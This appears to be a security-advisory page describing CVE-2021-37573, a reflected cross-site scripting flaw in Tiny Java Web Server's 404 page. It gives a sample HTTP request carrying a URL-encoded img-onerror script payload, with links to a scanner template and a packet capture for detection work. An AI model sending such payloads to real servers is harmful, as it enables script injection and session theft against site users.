🔙 목록으로 돌아가기

CVE-2021-37573: Tiny Java Web Server - Cross-Site Scripting

TitleTiny Java Web Server - Cross-Site Scripting
Authorgeeknik
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationApply the latest security patches or updates provided by the vendor to fix this vulnerability.
CVSS Score6.1
EPSS Score0.18516
CVE IDCVE-2021-37573
CWE IDCWE-79
Tags cve2021 cve xss tjws java seclists tiny_java_web_server_project vuln

🔍 Vulnerability Description

A reflected cross-site scripting vulnerability in the web server TTiny Java Web Server and Servlet Container (TJWS) <=1.115 allows an adversary to inject malicious code on the server’s “404 Page not Found” error page.

🌐 HTTP Request

GET /te%3Cimg%20src=x%20onerror=alert(42)%3Est HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-37573.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-37573.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A